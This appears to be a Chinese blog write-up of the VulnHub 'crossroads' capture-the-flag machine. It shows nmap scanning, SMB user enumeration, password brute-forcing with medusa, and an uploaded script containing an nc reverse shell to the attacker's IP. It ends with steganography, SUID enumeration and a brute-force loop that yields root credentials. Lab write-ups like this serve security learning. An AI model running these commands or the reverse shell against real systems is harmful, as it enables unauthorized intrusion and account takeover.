VulnHub:crossroads靶机实战

靶场搭建

 靶场下载地址

建议使用VirtualBox打开,如果打开虚拟机一直卡住并出现not syncing:Attempted to kill the idle task提示,关闭虚拟机在设置中将处理器修改为2。

信息收集

主机发现

kali攻击机ip为192.168.56.104,扫描同网段存活主机。

nmap 192.168.56.0/24 -Pn -T4

确认目标主机ip为192.168.56.106。

靶机全面扫描

nmap 192.168.56.106 -A -T4

开放了80,139,445端口。smb服务,有共享文件夹。

网站指纹,目录扫描

常规流程。

whatweb http://192.168.56.106
dirb http://192.168.56.106

访问robots.txt,提示存在一个路径。

访问/crossroads.png。

一张图片,除此之外该网站没有其他信息了,那么这张图片一定有东西,参考CTF的图片隐写,信息可能存在于图片属性或使用隐写工具隐藏到图片中。先将图片保存。

smb爆破

enum4linux是kali上用于枚举Windows和Linux系统上SMB共享的工具,可以找出目标主机的所有者和共享信息。这里想通过445端口的smb服务渗透。

首先smb是什么,smb是文件共享协议,能够实现同一局域网下计算机间共享文件、打印机、串口等。

enum4linux 192.168.56.106
# 列出用户
enum4linux -u 192.168.56.106

枚举得出一个用户albert。

并且共享文件夹名是smbshare。

枚举出用户名后,爆破密码。

# hydra不推荐,很慢(我实验结果是同样的字典却爆不出密码)
hydra -l albert -P 字典 192.168.56.106 smb 
​
# medusa -u 用户名 -P 密码 -M 指定模块 -h 地址
medusa -u albert -P /usr/share/wordlist/rockyou.txt -M smbnt -h 192.168.56.106

得到密码:bradley1,连接到目标主机上的共享资源。smbclient是一个在Unix/Linux系统中的一个应用程序,它允许用户以类似于ftp的方式访问Windows系统上的共享资源。它是Samba软件套件的一部分,可以让Linux系统与Windows系统进行网络共享。

# 指定用户名和密码连接samba服务器
smbclient //[server]/[share-file] -U [user]
smbclient //192.168.56.106/share -U albert     

成功连接到目标主机的共享资源。看看共享文件夹下有什么线索。

将smb.conf(smb配置文件)下载。

get smb.conf

下载后cat查看,一行行看代码发现缺了东西,如图这个smbscript.sh会被调用但是共享文件夹中没有这个文件。下一步就很清晰了,缺那我们就上传,既然能上传且会被调用直接上传一个反弹shell进去供他调用。

反弹shell

smbscript.sh内容可控,且会被靶机调用,写一个反弹shell到smbscript.sh中试试。

# smbscript.sh
nc -e /bin/bash 192.168.56.104 2333
​
# 上传
put smbscript.sh
​
# 攻击机监听
nc -lvvp 2333

上传反弹shell后等待监听上线即可。

返回一个方便看的shell。

python3 -c 'import pty as pt;pt.spawn("/bin/bash")'

找到第一个flag。

/home/albert目录下还存在一个crossroads.png图片和beroot文件。图片看名字应该和网站中/crossroads.png一致,两个相同名字的图片下载到本机看下区别。再看看beroot,是乱码。

/home/albert目录下开启http服务。

python3 -m http.server

攻击机下载。(注意端口为8000)

图片肉眼看上去是一样的,看下大小是否一致验证图片隐写的猜想。

两张图片的大小不一致,第二张图片中有内容。看大佬们说用stegoveritas。(zsteg或者其他图片隐写工具搞不出来)

stegoveritas crossroads-2.png 

执行完成后结果会保存在当前目录下的results文件夹中。在keepers文件夹下存在一个text文件(file命令辨识文件类型)。

看内容是个字典,后面有用。将这个字典重命名为pwd.txt。

提权

sudo提权不行,suid试试。

find / -perm -u=s -type f 2>/dev/null

beroot熟悉吗,运行一下。

需要密码,刚刚图片隐写弄出来的字典就有用了。把字典上传到靶机。

用for循环带着字典爆破./beroot。

for i in $(cat pwd.txt);do echo $i | ./beroot; echo $i;done | grep -v wrong

命令跑完后出现一个rootcreds文件。内容如下:

root
___drifting___

登录root用户。

get flag2! 🎆

  • 13
    点赞
  • 25
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值